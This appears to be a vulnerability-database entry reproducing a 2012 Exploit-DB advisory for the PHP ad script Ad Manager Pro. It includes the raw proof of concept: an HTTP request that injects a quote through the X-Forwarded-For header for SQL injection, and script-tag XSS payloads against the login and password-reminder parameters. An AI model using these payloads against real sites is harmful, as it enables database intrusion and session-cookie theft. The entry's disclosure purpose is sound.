Ad Manager Pro

vendor:

Ad Manager Pro

by:

Yakir Wizman

8.86.4

CVSS

MEDIUM

SQL Injection and Cross-Site Scripting

89 (SQL Injection) and 79 (Cross-Site Scripting)

CWE

Product Name: Ad Manager Pro

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2012

Ad Manager Pro is vulnerable to SQL Injection and Cross-Site Scripting. An attacker can inject malicious code into the vulnerable parameters of the application and execute it in the user's browser. The vulnerable parameters are username, password, image_control, and email.

Mitigation:

Input validation should be used to prevent malicious code from being injected into the application. The application should also be configured to use a secure connection (HTTPS) to prevent man-in-the-middle attacks.

Source

Exploit-DB raw data:

-----------------------------------------------------------
Ad Manager Pro
Bug discovered by Yakir Wizman
Date 24/08/2012
Vendor Homepage - http://www.phpwebscripts.com/ad-manager-pro/
Demo - http://www.scripts-demo.com/admanagerpro/
ISRAEL
-----------------------------------------------------------
       Author will be not responsible for any damage.
-----------------------------------------------------------

About the Application:
-----------------------------------------------------------
Ad Manager Pro is the most complete ad management solution available. It's a very flexible system, you can use it for one or more of these purposes:

* Manage ads on your site(s)
* Sell impressions and/or clicks to advertisers
* Purchase impressions and/or clicks from publishers


Proof Of Conecpt
-----------------------------------------------------------
1). SQL Injection (Severity is high)
Vulnerable URL	: http://server/admanagerpro/show.php
HTTP header		: X-Forwarded-For
Injected 		: '

Request:
GET /admanagerpro/show.php?z=14&w=0&pl=0&ad_type=0&top_space=0&shape=0&c_border=0&c_background=0&page_background=0&c_text1=0&c_text2=0&c_text3=0&c_text4=0&c_text5=0&c_text6=0&c_text7=0&c_text8=0&c_text9=0&c_text10=0&code=1345745191215 HTTP/1.0
Cookie: PHPSESSID=ni77ng3i0477i55poipsbnhs20
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: www.scripts-demo.com
X-Forwarded-For: '


2). Cross-Site Scripting (Severity is Medium)
Vulnerable URL	: http://server/admanagerpro/advertiser.php?action=user_login
Parameters		: username, password, image_control
Injected 		: "/><script>alert(document.cookie)</script>

Vulnerable URL	: http://server/admanagerpro/advertiser.php?action=password_reminded
Parameter		: email
Injected 		: 1337@31337.com"/><script>alert(document.cookie)</script>

Vulnerable URL	: http://server/admanagerpro/publisher.php?action=user_login
Parameters		: username, password, image_control
Injected 		: "/><script>alert(document.cookie)</script>

Vulnerable URL	: http://server/admanagerpro/publisher.php?action=password_reminded
Parameter		: email
Injected 		: 1337@31337.com"/><script>alert(document.cookie)</script>